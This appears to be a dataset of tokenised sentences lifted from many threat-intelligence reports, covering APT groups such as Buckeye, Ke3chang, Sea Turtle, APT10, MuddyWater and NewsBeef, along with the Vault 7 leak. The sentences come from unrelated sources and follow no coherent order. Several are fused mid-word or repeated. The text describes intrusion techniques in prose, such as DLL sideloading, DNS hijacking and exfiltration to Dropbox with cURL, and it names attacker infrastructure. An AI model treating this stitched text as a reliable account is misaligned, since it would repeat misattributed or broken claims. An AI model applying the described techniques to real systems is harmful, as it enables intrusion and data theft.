Beginning in August 2016 , a group calling itself the Shadowbegan releasing tools it claimed to have originated from the Equation Group .
Over the coming months ,it progressively released more tools ,until April 2017 ,when it released a final , large cache of tools , including the DoublePulsar backdoor , the FuzzBunch framework , and the EternalBlue , EternalSynergy , and EternalRomance exploit tools .
However , Buckeye had already been using some of these leaked tools at least a year beforehand .
The earliest known use of Equation Group tools by Buckeye is March 31 , 2016 , during an attack on a target in Hong Kong .
Beginning in March 2016 , Buckeye began using a variant of DoublePulsar (Backdoor.Doublepulsar) , a backdoor that was subsequently released by the Shadow Brokers in 2017 .
However , while activity involving known Buckeye tools ceased in mid-2017 , the Bemstour exploit tool and the DoublePulsar variant used by Buckeye continued to be used until at least September 2018 in conjunction with different malware .
During this attack , the Bemstour exploit tool was delivered to victims via known Buckeye malware (Backdoor.Pirpi) .
One hour later , Bemstour was used against an educational institution in Belgium .
Bemstour is specifically designed to deliver a variant of the DoublePulsar backdoor .
DoublePulsar is then used to inject a secondary payload , which runs in memory only .
A significantly improved variant of the Bemstour exploit tool was rolled out in September 2016 ,when it was used in an attack against an educational institution in Hong Kong .
When used against 32-bit targets ,Bemstour still delivered the same DoublePulsar backdoor .
Bemstour was used again in June 2017 in an attack against an organization in Luxembourg .
Between June and September 2017 ,Bemstour was also used against targets in the Philippines and Vietnam .
Development of Bemstour has continued into 2019 .
Unlike earlier attacks when Bemstour was delivered using Buckeye's Pirpi backdoor , in this attack Bemstour was delivered to the victim by a different backdoor Trojan (Backdoor.Filensfer) .
The most recent sample of Bemstour seen by Symantec appears to have been compiled on March 23 , 2019 , eleven days after the zero-day vulnerability was patched by Microsoft .
Filensfer is a family of malware that has been used in targeted attacks since at least 2013 .
The zero-day vulnerability found and reported by Symantec (CVE-2019-0703) occurs due to the way the Windows SMB Server handles certain requests .
While Symantec has never observed the use of Filensfer alongside any known Buckeye tools ,information shared privately by another vendor included evidence of Filensfer being used in conjunction with known Buckeye malware (Backdoor.Pirpi) .
CVE-2017-0143 was also used by two other exploit tools—EternalRomance and EternalSynergy—that were released as part of the Shadow Brokers leak in April 2017 .
Buckeye's exploit tool ,as well as EternalSynergy ,can exploit the CVE-2017-0143 message type confusion vulnerability to perform memory corruption on unpatched victimthe case of the Buckeye exploit tool , the attackers exploited their own zero-day vulnerability (CVE-2019-0703) .
It is noteworthy that the attackers never used the FuzzBunch framework in its attacks .
FuzzBunch is a framework designed to manage DoublePulsar and other Equation Group tools and was leaked by the Shadow Brokers in 2017 .
There are multiple possibilities as to how Buckeye obtained Equation Group tools before the Shadow Brokers leak .
However , aside from the continued use of the tools ,Symantec has found no other evidence suggesting Buckeye has retooled .
this RTF exploits again the CVE-2017_1882 on eqnedt32.exe .
And the dropper execute the iassvcs.exe to make a side loading and make the persistence .
This IP is very interesting because it connects with tele.zyns.com and old infrastructures used by chinese APT or DDOS Chinese team against the ancient soviet republics .
Over the past three years , Filensfer has been deployed against organizations in Luxembourg , Sweden , Italy , the UK , and the U.S .
All zero-day exploits known , or suspected , to have been used by this group are for vulnerabilities in Internet Explorer and Flash .
According to reports , the Philippines is the most exposed country in ASEAN to the cyberattacks known as advanced persistent threats , or APTs .
Our analysis of this malware shows that it belongs to Hussarini , also known as Sarhust , a backdoor family that has been used actively in APT attacks targeting countries in the ASEAN region since 2014 .
OutExtra.exe is a signed legitimate application from Microsoft named finder.exe .
In addition to file-based protection ,customers of the DeepSight Intelligence Managed Adversary and Threat Intelligence (MATI) service have received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
However , in this attack , this file is used to load the Hussarini backdoor via DLL hijacking .
this malware is still actively being used against the Philippines .
Hussarini was first mentioned in APT campaigns targeting the Philippines and Thailand in 2014 .
Further analysis showed that the Iron cybercrime group used two main functions from HackingTeam's source in both IronStealer and Iron ransomware .
Xagent” is the original filename Xagent.exe whereas seems to be the version of the worm .
Xagent – A variant of JbossMiner Mining Worm” – a worm written in Python and compiled using PyInstaller for both Windows and Linux platforms .
Its activities were traced back to 2010 in FireEye's 2013 report on operation Ke3chang – a cyberespionage campaign directed at diplomatic organizations in Europe .
We have been tracking the malicious activities related to this threat actor and discovered a previously undocumented malware family with strong links to the Ke3chang group – a backdoor we named Okrum .
from 2015 to 2019 ,we detected new versions of known malware families attributed to the Ke3chang group – BS2005 backdoors from operation Ke3chang and the RoyalDNS malware ,reported by NCC Group in 2018 .
Ke3chang behind the attacks seemed to have a particular interest in Slovakia , where a big portion of the discovered malware samples was detected; Croatia , the Czech Republic and other countries were also affected .
Our technical analysis of the malware used in these attacks showed close ties to BS2005 backdoors from operation Ke3chang , and to a related TidePool malware family discovered by Palo Alto Networks in 2016 that targeted Indian embassies across the globe .
The story continued in late 2016 , when we discovered a new , previously unknown backdoor that we named Okrum .
The malicious actors behind the Okrum malware were focused on the same targets in Slovakia that were previously targeted by Ketrican 2015 backdoors .
We started connecting the dots when we discovered that the Okrum backdoor was used to drop a Ketrican backdoor , freshly compiled in 2017 .
In 2017 , the same entities that were affected by the Okrum malware and by the 2015 Ketrican backdoors again became targets of the malicious actors .
This time , the attackers used new versions of the RoyalDNS malware and a Ketrican 2017 backdoor .
According to ESET telemetry , Okrum was first detected in December 2016 , and targeted diplomatic missions in Slovakia , Belgium , Chile , Guatemala and Brazil throughout 2017 .
In addition to file-based protection , customers of the DeepSight has received reports on Buckeye , which detail methods of detecting and thwarting activities of this group .
In 2018 , we discovered a new version of the Ketrican backdoor that featured some code improvements .
According to our telemetry , Okrum was used to target diplomatic missions in Slovakia , Belgium , Chile , Guatemala , and Brazil , with the attackers showing a particular interest in Slovakia .
Indeed , we have detected various external tools being abused by Okrum , such as a keylogger , tools for dumping passwords , or enumerating network sessions .
The detection evasion techniques we observed in the Okrum malware include embedding the malicious payload within a legitimate PNG image , employing several anti-emulation and anti-sandbox tricks , as well as making frequent changes in implementation .
The unnamed company makes products used in the military and aerospace industries , and the hackers could have been after commercial secrets or more traditional espionage , according to ClearSky , the cybersecurity firm that exposed the operation .
North Korean dictator Kim Jong Un has set ambitious economic goals , and some cybersecurity analysts have predicted he will unleash the Pyongyang-affiliated hackers to meet those deadlines by targeting multinational companies’ trade secrets .
According to ClearSky , the suspected Lazarus operatives looked to leverage a vulnerability in outdated WinRAR file-archiving software that hackers have been exploiting since it was disclosed last month .
This new Lotus Blossom campaign delivers a malicious RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also carries an executable (payload) embedded as an OLE object , the Elise backdoor .
Just months after the APT32 watering hole activity against ASEAN-related websites was observed in Fall 2017 ,this new activity clearly indicates the association (ASEAN) clearly remains a priority collection target in the region .
Researchers implicated Lazarus Group because of digital clues including a malicious implant known as Rising Sun that has been attributed to the group .
The attackers originally embedded an implant into the malicious document as a hypertext application (HTA) file , and then quickly moved to hide it in an image on a remote server and used obfuscated Visual Basic macros to launch the decoder script .
Lazarus used the open-source tool Invoke-PSImage , released December 20 , to embed the PowerShell script into the image file .
Once the script runs , it passes the decoded script from the image file to the Windows command line in a variable $x ,which uses cmd.exe to execute the obfuscated script and run it via PowerShell .
The Department of Homeland Security (DHS) issued an alert about this activity on Jan. 24 2019 , warning that an attacker could redirect user traffic and obtain valid encryption certificates for an organization's domain names .
In the Sea Turtle campaign , Talos was able to identify two distinct groups of victims .
The first group , we identify as primary victims , includes national security organizations , ministries of foreign affairs , and prominent energy organizations .
The threat actors behind the Sea Turtle campaign show clear signs of being highly capable and brazen in their endeavors .
In most cases , threat actors typically stop or slow downonce their campaigns are publicly revealed .
The threat actors behind the Sea Turtle campaign were successful in compromising entities by manipulating and falsifying DNS records at various levels in the domain name space .
If an attacker was able to compromise an organization's network administrator credentials , the attacker would be able to change that particular organization's DNS records at will .
If the attackers were able to obtain one of these EPP keys , they would be able to modify any DNS records that were managed by that particular registrar .
Captured legitimate user credentials when users interacted with these actor - controlled servers .
The diagram below illustrates how we believe the actors behind the Sea Turtle campaign used DNS hijacking to achieve their end goals .
As of early 2019 , the only evidence of the spear-phishing threat vector came from a compromised organization's public disclosure .
On January 4 , Packet Clearing House , which is not an Internet exchange point but rather is an NGO which provides support to Internet exchange points and the core of the domain name system , provided confirmation of this aspect of the actors’ tactics when it publicly revealed its internal DNS had been briefly hijacked as a consequence of the compromise at its domain registrar .
During a typical incident , the actor would modify the NS records for the targeted organization , pointing users to a malicious DNS server that provided actor-controlled responses to all DNS queries .
The next step for the actor was to build MitM servers that impersonated legitimate services to capture user credentials .
In addition to the MitM server IP addresses published in previous reports , Talos identified 16 additional servers leveraged by the actor during the observed attacks .
The attackers would then use the certificate on actor-controlled servers to perform additional MitM operations to harvest additional credentials .
In some cases , the victims were redirected to these actor-controlled servers displaying the stolen certificate .
One notable aspect of the campaign was the actors' ability to impersonate VPN applications , such as Cisco Adaptive Security Appliance (ASA) products , to perform MitM attacks .
At this time , we do not believe that the attackers found a new ASA exploit .
Rather , they likely abused the trust relationship associated with the ASA's SSL certificate to harvest VPN credentials to gain remote access to the victim's network .
As an example , DNS records indicate that a targeted domain resolved to an actor-controlled MitM server .
In another case , the attackers were able to compromise NetNod , a non-profit , independent internet infrastructure organization based in Sweden .
Using this access , the threat actors were able to manipulate the DNS records for sa1[.]dnsnode[.]net .
This redirection allowed the attackers to harvest credentials of administrators who manage domains with the TLD of Saudi Arabia (.sa) .
In one of the more recent campaigns on March 27 , 2019 , the threat actors targeted the Sweden-based consulting firm Cafax .
We assess with high confidence that Sea Turtle was targeted in an attempt to re-establish access to the NetNod network , which was previously compromised by this threat actor .
Obtaining access to this ccTLD registrars would have allowed attackers to hijack any domain that used those ccTLDs .
These actors perform DNS hijacking through the use of actor-controlled name servers .
Sea Turtle have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
These actors use Let's Encrypts , Comodo , Sectigo , and self-signed certificates in their MitM servers to gain the initial round of credentials .
These actors have been more aggressive in their pursuit targeting DNS registries and a number of registrars , including those that manage ccTLDs .
Once they have access to the network , they steal the organization's legitimate SSL certificate and use it on actor-controlled servers .
We believe that the Sea Turtle campaign continues to be highly successful for several reasons .
Had more ccTLDs implemented security features such as registrar locks , attackers would be unable to redirect the targeted domains .
The attackers stole organizations' SSL certificates associated with security appliances such as ASA to obtain VPN credentials , allowing the actors to gain access to the targeted network .
The threat actors were able to maintain long term persistent access to many of these networks by utilizing compromised credentials .
Cisco Talos will continue to monitor Sea Turtle and work with our partners to understand the threat as it continues to evolve to ensure that our customers remain protected and the public is informed .
If the user enables macro to open the xlsm file , it will then drop the legitimate script engine AutoHotkey along with a malicious script file .
Create a link file in the startup folder for AutoHotkeyU32.exe , allowing the attack to persist even after a system restart .
More importantly , one of these files also enables the download of TeamViewer , a remote access tool that gives threat actors remote control over the system .
Such attacks highlight the need for caution before downloading files from unknown sources and enabling macro for files from unknown sources .
The agency's hacking division freed it from having to disclose its often controversial operations to the NSA (its primary bureaucratic rival) in order to draw on the NSA's hacking capacities .
By the end of 2016 , the CIA's hacking division , which formally falls under the agency's Center for Cyber Intelligence (CCI) , had over 5000 registered users and had produced more than a thousand hacking systems , trojans , viruses , and other weaponized malware .
Such is the scale of the CIA's undertaking that by 2016 , its hackers had utilized more code than that used to run Facebook .
Wikileaks has carefully reviewed the Year Zero disclosure and published substantive CIA documentation while avoiding the distribution of 'armed' cyberweapons until a consensus emerges on the technical and political nature of the CIA's program and how such 'weapons' should analyzed , disarmed and published .
These redactions include ten of thousands of CIA targets and attack machines throughout Latin America , Europe and the United States .
The increasing sophistication of surveillance techniques has drawn comparisons with George Orwell's 1984 , but Weeping Angel , developed by the CIA's Embedded Devices Branch (EDB) , which infests smart TVs , transforming them into covert microphones , is surely its most emblematic realization .
After infestation , Weeping Angel places the target TV in a 'Fake-Off' mode , so that the owner falsely believes the TV is off when it isAs of October 2014 the CIA was also looking at infecting the vehicle control systems used by modern cars and trucks .
The CIA's Mobile Devices Branch (MDB) developed numerous attacks to remotely hack and control popular smart phones .
Despite iPhone's minority share (14.5%) of the global smart phone market in 2016 , a specialized unit in the CIA's Mobile Development Branch produces malware to infest , control and exfiltrate data from iPhones and other Apple products running iOS , such as iPads .
The attack against Samsung smart TVs was developed in cooperation with the United Kingdom's MI5/BTSS .
CIA's arsenal includes numerous local and remote zero days developed by CIA or obtained from GCHQ , NSA , FBI or purchased from cyber arms contractors such as Baitshop .
These techniques permit the CIA to bypass the encryption of WhatsApp , Signal , Telegram , Wiebo , Confide and Cloackman by hacking the smart phones that they run on and collecting audio and message traffic before encryption is applied .
The CIA also runs a very substantial effort to infect and control Microsoft Windows users with its malware .
CIA's malware includes multiple local and remote weaponized zero days , air gap jumping viruses such as Hammer Drill which infects software distributed on CD/DVDs , infectors for removable media such as USBs , systems to hide data in images or in covert disk areas Brutal Kangaroo and to keep its malware infestations going .
Many of these infection efforts are pulled together by the CIA's Automated Implant Branch (AIB) ,which has developed several attack systems for automated infestation and control of CIA malware , such as Assassin and Medusa .
The CIA has developed automated multi-platform malware attack and control systems covering Windows , Mac OS X , Solaris , Linux and more , such as EDB's HIVE and the related Cutthroat and Swindle tools , which are described in the examples section below .
By hiding these security flaws from manufacturers like Apple and Google the CIA ensures that it can hack everyone &mdsh; at the expense of leaving everyone hackable .
Once in Frankfurt CIA hackers can travel without further border checks to the 25 European countries that are part of the Shengen open border area — including France , Italy and Switzerland .
A number of the CIA's electronic attack methods are designed for physical proximity .
The attacker is provided with a USB containing malware developed for the CIA for this purpose , which is inserted into the targeted computer .
The attacker then infects and exfiltrates data to removable media .
As an example , specific CIA malware revealed in Year Zero is able to penetrate , infest and control both the Android phone and iPhone software that runs or has run presidential Twitter accounts .
For example , the CIA attack system Fine Dining , provides 24 decoy applications for CIA spies to use .
For example , Comodo was defeated by CIA malware placing itself in the Window's Recycle Bin .
CIA hackers discussed what the NSA's Equation Group hackers did wrong and how the CIA's malware makers could avoid similar exposure .
The CIA's Remote Devices Branch's UMBRAGE group collects and maintains a substantial library of attack techniques 'stolen' from malware produced in other states including the Russian Federation .
This information is used by the CIA's 'JQJIMPROVISE' software (see below) to configure a set of CIA malware suited to the specific needs of an operation .
Its configuration utilities like Margarita allows the NOC (Network Operation Center) to customize tools based on requirements from 'Fine Dining' questionairies .
HIVE is a multi-platform CIA malware suite and its associated control software .
A series of standards lay out CIA malware infestation patterns which are likely to assist forensic crime scene investigators as well as Apple , Microsoft , Google , Samsung , Nokia , Blackberry , Siemens and anti-virus companies attribute and defend against attacks .
In April 2013 , Kaspersky Lab reported that a popular game was altered to include a backdoor in 2011 .
Yet again , new supply-chain attacks recently caught the attention of ESET Researchers .
Given that these attacks were mostly targeted against Asia and the gaming industry , it shouldn’t be surprising they are the work of the group described in Kaspersky’s Winnti – More than just a game” .
The OSB functions as the interface between CIA operational staff and the relevant technical support staff .
A sustained cyberespionage campaign targeting at least three companies in the United States and Europe was uncovered by Recorded Future and Rapid7 between November 2017 and September 2018 .
The Honeycomb toolserver receives exfiltrated information from the implant; an operator can also task the implant to execute jobs on the target computer , so the toolserver acts as a C2 (command and control) server for the implant .
The attackers then enumerated access and conducted privilege escalation on the victim networks ,utilizing DLL sideloading techniques documented in a US-CERT alert on APT10 to deliver malware .
On the two other victim networks , the attackers deployed a unique version of the UPPERCUT (ANEL) backdoor , known to have only been used by APT10 .
APT10 actors then compressed proprietary data from Visma using WinRAR (deployed by the attackers) and exfiltrated to a Dropbox account using the cURL for Windows command-line tool .
UMBRAGE components cover keyloggers , password collection , webcam capture , data destruction , persistence , privilege escalation , stealth , anti-virus (PSP) avoidance and survey techniques .
we assess with high confidence that these incidents were conducted by APT10 also known as Stone Panda , menuPass , CVNX in an effort to gain access to networks and steal valuable intellectual property or gain commercial advantage .
On top of the breadth , volume , and targets of attacks that APT10 has conducted since at least 2016 , we now know that these operations are being run by the Chinese intelligence agency , the Ministry of State Security (MSS) .
Utilizing actors working for shell companies such as Huaying Haitai Science and Technology Development Co Ltd ,the MSS has conducted an unprecedented campaign , dubbed Operation Cloud Hopper , ” against managed IT service providers (MSPs) designed to steal intellectual property and enable secondary attacks against their clients .
We assess that APT10 likely compromised Visma with the primary goal of enabling secondary intrusions onto their client networks , and not of stealing Visma intellectual property .
In this same time frame , APT10 also targeted a U.S. law firm and an international apparel company , likely to gather information for commercial advantage .
The backdoor was deployed using the Notepad++ updater and sideloading malicious DLL ,as noted in APT10’s targeting of Japanese corporations in July 2018 .
That attack was attributed to perpetrators Kaspersky called the Winnti Group .
APT10 is a threat actor that has been active since at least 2009 .
APT10 has historically targeted healthcare , defense , aerospace , government , heavy industry and mining , and MSPs and IT services , as well as other sectors , for probable intellectual property theft .
We believe APT10 is the most significant Chinese state-sponsored cyber threat to global corporations known to date .
In the blog , Intrusion Truth identified APT10 as having utilized several Tianjin-based companies , including Huaying Haitai Science and Technology Development Co Ltd and Laoying Baichen Instruments Equipment CoBased on the technical data uncovered , and in light of recent disclosures by the U.S. Department of Justice on the ongoing activities of Chinese state-sponsored threat actors .
Our research from 2017 concluded that Guangdong ITSEC (and therefore the MSS) directed the activities of a company named Boyusec ,which was identified as a shell company for APT3 .
Access to the networks of these third-party service providers grants the MSS the ability to potentially access the networks of hundreds , if not thousands , of corporations around the world .
The December APT10 indictment noted that the group’s malicious activities breached at least 45 companies and managed service providers in 12 countries , including Brazil , Canada , Finland , France , Germany , India , Japan , Sweden ,Switzerland , the United Arab Emirates , the United Kingdom , and the UnitedIn all three incidents , APT10 gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , the attackers gained access to networks through deployments of Citrix and LogMeIn remote-access software using stolen valid user credentials .
In all three incidents , APT10 actors used previously acquired legitimate credentials , possibly gained via a third-party supply chain compromise in order to gain initial access to the law firm and the apparel company .
In early 2017 , APT10 began conducting attacks against global managed IT service providers (MSPs) that granted them unprecedented access to MSPs and their customers’ networks .
'Improvise' is a toolset for configuration , post-processing , payload setup and execution vector selection for survey/exfiltration tools supporting all major operating systems like Windows (Bartender) , MacOS (JukeBox) and Linux (DanceFloor) .
During this operation (dubbed ‘Cloud Hopper” because of the group’s use of popular western cloud-based services) , APT10 utilized both new malware (Quasar RAT , Trochilus , RedLeaves , ChChes as well as some familiar old tools .
Most recently , on December 20 , 2018 , the U.S. Department of Justice charged two hackers associated with the Chinese Ministry of State Security (MSS) with global computer intrusion campaigns targeting intellectual property .
This indictment attributed the intrusions to APT10 , a group that had been conducting the malicious activities for over a decade on behalf of the MSS , China’s civilian human intelligence agency .
The Visma group operates across the entire Nordic region along with Benelux , Central , and Eastern Europe .
Recorded Future has actively tracked APT10 for several years , focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
We were particularly interested in identifying whether any customers of the targeted MSPs were subsequently compromised by APT10 , given their potential access through compromised MSP networks .
Recorded Future’s Insikt Group has actively tracked APT10 for several years ,focusing specifically on the group’s targeting of MSPs and global internet infrastructure providers since the Operation Cloud Hopper report in 2017 .
In September 2018 , one of our clients (and a supplier as well) , Visma , reached out to us for assistance in investigating an incident uncovered on their network following a breach notification by Rapid7 .
This was followed by an initial exploitation , network enumeration , and malicious tool deployment on various Visma endpoints within two weeks of initial access .
On August 30 , 2018 , APT10 deployed their first modified version of Trochilus that had its C2 communications encrypted using Salsa20 and RC4 ciphers instead of the more common RC4-encrypted Trochilus variant seen in the wild .
This sample , similar to other Trochilus samples , was deployed using a DLL sideloading method utilizing three files , uploaded to the same folder on the victim machine as identified in US-CERT advisory TA17-117A last revised on December 20 , 2018 .
The configuration file then loads the Trochilus payload into memory by injecting it into a valid system process .
APT10 also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
In order to exfiltrate the compromised data ,APT10 employed custom malware that used Dropbox as its C2 .
They also used WinRAR and cURL for Windows , both often renamed , to compress and upload the exfiltrated files from the Visma network to the Dropbox API .
Our research partner Rapid7 investigated the Dropbox use and found that the attackers had used the same account to store exfiltrated data from a global apparel company .
They also identified broadly similar TTPs being used in the attack against a U.S law firm specializing in intellectual property law .
Rapid7’s investigation revealed the law firm was first targeted in late 2017 , followed by the apparel company a few months later , and finally , the Visma attack in August 2018 .
In one of the attacks , Rapid7 identified the attackers escaping a Citrix application in order to run the payload script on the victim desktop .
Additionally , the same DLL sideloading technique observed in the Visma attack was used , and many of the tools deployed by the APT10 shared naming similarities as well 1.bat , cu.exe , ss.rar , r.exe , pd.exe .
Most interestingly , Rapid7 observed the use of the Notepad++ updater gup.exe as a legitimate executable to sideload a malicious DLL (libcurl.dll) in order to deploy a variant of the UPPERCUT backdoor also known as ANEL .
APT10 used this approach to deploy UPPERCUT when targeting Japanese corporations in July 2018 .
APT10 actors gained initial access to the Visma network around August 17 , 2018 .
While we are confident that APT10 actors gained access to the Visma network in August using stolen employee Citrix remote desktop credentials , it is not clear how or when these credentials were initially compromised .
Insikt Group analysis of network metadata to and from the VPN endpoint IPs revealed consistent connectivity to Citrix-hosted infrastructure from all eight VPN endpoint IPs starting on August 17 , 2018 — the same date the first authenticated login to Visma’s network was made using stolen credentials .
After almost two weeks , on August 30 , 2018 , APT10 attackers used their access to the network to move laterally and made their first deployment of an RC4- and Salsa20-encrypted variant of the Trochilus malware using a previously associated DLL sideloading techniquE .
This means that APT10 actors had two separate access points into the Visma network .
This slight delay may point to the handing over of active exploitation duties to other operator(s) in a multi-team APT10 effort within the Ministry of State Security for the attack .
Other examples of malicious infrastructure registered with internet.bs include domains for APT28’s VPNFilter malware campaign and the registration of the cyber-berkut .
org domain that was affiliated with the pro-Russian and potentially Russian state-linked threat actor CyberBerkut .
KHRAT is a backdoor trojan purported to be used with the China-linked cyberespionage group DragonOK .
In early 2018 , Rapid7 identified that APT10 compromised an apparel company , based upon detections and intelligence gathered from the U.S.-based law firm breach .
The attacker gained access to the victim’s internet-accessible Citrix systems and authenticated to them from networks associated with low-cost VPN providers owned by VPN Consumer Network .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe.” The attackers used identical TTPs for executing malware and Mimikatz as observed before , by using DLL sideloading with known good binaries that had DLL search order path issues .
Rapid7 reviewed malware discovered in the victim’s environment and found implants that used Dropbox as the C2 .
The attackers used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
APT10 used the same method of lateral movement by mounting the remote drive on a system , copying 1.bat to it , using task scheduler to execute the batch script , and finally , deleting the batch script .
For exfiltration of stolen data , APT10 used WinRAR and renamed rar.exe” to r.exe” to create archives , upload them with curl.exe” (renamed to c.exe”) , and again , use the cloud storage provider Dropbox .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the attacker during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Once on the Visma network , APT10 attackers used the Microsoft BITSAdmin CLI tool to copy malicious tools from a suspected attacker-controlled C2 hosted on 173.254.236[.]158 to the \ProgramData\temp\ directory on the infected host .
Rapid7 then provided a breach notification to Visma to alert them to this compromise in September 2018 .
We believe APT10 is the most significant known Chinese state-sponsored cyber threat to global corporations .
APT10's unprecedented campaign against MSPs , alleged to have included some of the largest MSPs in the world , in order to conduct secondary attacks against their clients , grants the Chinese state the ability to potentially access the networks of hundreds (if not thousands) of corporations around the world .
This campaign brings to light further evidence supporting the assertions made by the Five Eyes nations , led by the U.S Department of Justice indictment against APT10 actors outlining the unprecedented scale of economic cyberespionage being conducted by the Chinese Ministry of State Security .
This report , alongside the plethora of other reporting on APT10 operations , acutely highlights the vulnerability of organizational supply chains .
We believe the groups moved to use CVE-2018-0798 instead of the other Microsoft Equation Editor Remote Code Execution (RCE) vulnerabilities because the former is more reliable as it works on all known versions of Equation Editor .
The analyzed RTF files share the same object dimension (objw2180\objh300) used to track the RTF weaponizer in our previous report ,the sample was not exploiting CVE-2017-11882 or CVE-2018-0802 .
After further analysis , it was discovered that the RTF files were exploiting the CVE-2018-0798 vulnerability in Microsoft’s Equation Editor (EQNEDT32) .
Anomali Researchers were able to identify multiple samples of malicious RTF documents ITW using the same exploit for CVE-2018-0798 .
The earliest use of the exploit ITW we were able to identify and confirm is a sample (e228045ef57fb8cc1226b62ada7eee9b) dating back to October 2018 (VirusTotal submission of 2018-10-29) with the RTF creation time 2018-10-23 .
CVE-2018-0798 is an RCE vulnerability , a stack buffer overflow that can be exploited by a threat actor to perform stack corruption .
As observed previously with CVE-2017-11882 and CVE-2018-0802 , the weaponizer was used exclusively by Chinese cyber espionage actors for approximately one year December 2017 through December 2018 , after which cybercrime actors began to incorporate it in their malicious activity .
Upon decrypting and executing , it drops two additional files wsc_proxy.exe” (legitimate Avast executable) and a malicious DLL wsc.dll” in the %TEMP% folder .
However , Beginning on 25 June 2019 ,we started observing multiple commodity campaigns Mostly dropping AsyncRAT using the updated RTF weaponizer with the same exploit (CVE-2018-0798) .
Analysis of the Royal Road weaponizer has resulted in the discovery that multiple Chinese threat groups started utilizing CVE-2018-0798 in their RTF weaponizer .
These findings also suggest that the threat groups have robust exploit developing capabilities because CVE-2018-0798 is not widely reported on and it is typically not incorporated into publicly available weaponizers .
In addition , a current ANY.RUN playback of our observed Elise infection is also available .
Upon opening of the MS Word document ,our embedded file exploits CVE-2017-11882 to drop a malicious fake Norton Security Shell Extension module , 'NavShExt.dll' , which is then injected into iexplore.exe to install the backdoor , begin collection , and activate command and control .
Moving through the infection process , NetWitness Endpoint detects the initial exploit CVE-2017-1182 in action as the Microsoft Equation Editor , 'EQNEDT32.exe' , scores high for potentially malicious activity .
Most recently though , a new campaign , targeting Belarus , Turkey and Ukraine , has emerged that caught the attention of Check Point researchers .
The well-crafted and socially engineered malicious documents then become the first stage of a long and mainly fileless infection chain that eventually delivers POWERSTATS , a signature PowerShell backdoor of this threat group .
This powerful backdoor can receive commands from the attackers , enabling it to exfiltrate files from the system it is running on , execute additional scripts , delete files , and more .
If the macros in SPK KANUN DEĞİŞİKLİĞİ GİB GÖRÜŞÜ.doc” are enabled , an embedded payload is decoded and saved in the %APPDATA% directory with the name CiscoAny.exe” .
INF files have been used in the past by MuddyWater , although they were launched using Advpack.dll and not IEAdvpack.dll .
In addition , by using VBA2Graph , we were able to visualize the VBA call graph in the macros of each document .
Although it has focused most of its efforts on the Middle East region , the political affiliations , motives and purposes behind MuddyWater’s attacks are not very well- defined , thus earning it its name .
In the past , countries such as Saudi Arabia , the UAE and Turkey have been a MuddyWater's main target , but the campaigns have also reached a much wider audience ,making their way to victims in countries such as Belarus and Ukraine .
MuddyWater target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
Most recently MuddyWater were connected to a campaign in March that targeted organizations in Turkey , Pakistan , and Tajikistan .
The group has been quite visible since the initial 2017 Malwarebytes report on their elaborate espionage attack against the Saudi Arabian government .
Our analysis revealed that they drop a new backdoor , which is written in PowerShell as MuddyWater’s known POWERSTATS backdoor .
We assume that RunPow stands for run PowerShell , ” and triggers the PowerShell code embedded inside the .dll file .
This backdoor has some features similar to a previously discovered version of the Muddywater backdoor .
Based on our analysis ,we can confirm that MuddyWater target Turkish government organizations related to the finance and energy sectors .
This is yet another similarity with previous MuddyWater campaigns , which were known to have targeted multiple Turkish government entities .
The main delivery method of this type of backdoor is spear phishing emails or spam that uses social engineering to manipulate targets into enabling malicious documents .
Trend Micro™ Deep Discovery™ provides detection , in-depth analysis , and proactive response to today’s stealthy malware , and targeted attacks in real time .
MuddyWater first surfaced in 2017 .
First stage infections and graphical decoys have been described by multiple sources , including in our previous research MuddyWater expands operations .
MuddyWater compiles various offensive Python scripts .
This includes Python scripts .
Usually , the Stageless Meterpreter has the Ext_server_stdapi.x64.dll” , Ext_server_extapi.x64.dll” , and Ext_server_espia.x64.dll” extensions .
The January 2017 report followed up on other private reports published on the group’s BeEF-related activity in 2015 and 2016 .
Previous analysis of the NewsBeef APT indicates that the group focuses on Saudi Arabian (SA) and Western targets , and lacks advanced offensive technology development capabilities .
However , in the summer of 2016 , NewsBeef deployed a new toolset that includes macro-enabled Office documents , PowerSploit , and the Pupy backdoor .
The most recent NewsBeef campaign uses this toolset in conjunction with spearphishing emails , links sent over social media/standalone private messaging applications , and watering hole attacks that leverage compromised high-profile websites some belonging to the SA government .
The NewsBeef actor deployed a new toolset in a campaign that focused primarily on Saudi Arabian targets .
NewsBeef continues to deploy malicious macro-enabled Office documents , poisoned legitimate Flash and Chrome installers , PowerSploit , and Pupy tools .
The NewsBeef campaign is divided into two main attack vectors , spearphishing and strategic web compromise watering hole attacks .
On December 25 , 2016 , the NewsBeef APT stood up a server to host a new set of Microsoft Office documents (maintaining malicious macros and PowerShell scripts) to support its spear-phishing operations .
These compromised servers include Saudi Arabian government servers and other high-value organizational identities relevant to NewsBeef's targets .
However , Kaspersky Security Network (KSN) records also contain links that victims clicked from the Outlook web client outlook.live.com” as well as attachments arriving through the Outlook desktop application .
Interestingly , NewsBeef set up its server using the hosting provider Choopa , LLC , US” , the same hosting provider that the group used in attacks over the summer of 2016 .
NTG’s IT focus and client list likely aided NewsBeef’s delivery of malicious PowerShell-enabled Office documents and poisoned installers .
In other schemes , NewsBeef sent macro-enabled Office attachments from spoofed law firm identities or other relevant service providers to targets in SA .
The law firm in this scheme is based in the United Kingdom and is the sole location for targets outside of SA for this campaign .
Starting in October 2016 , NewsBeef compromised a set of legitimate servers (shown below) , and injected JavaScript to redirect visitors to http://analytics-google.org:69/Check.aspx .
For example , on a Saudi government website , the NewsBeef APT delivered packed JavaScript into the bottom of a referenced script that is included in every page served from the site the packed and unpacked JavaScript is shown below .
The JavaScript forces visiting web browsers to collect and send (via a POST request) web browser , browser version , country of origin , and IP address data to the attacker controlled server jquerycodedownload.live/check.aspx” .
A high volume of redirections from the compromised site continues into mid-January 2017 .
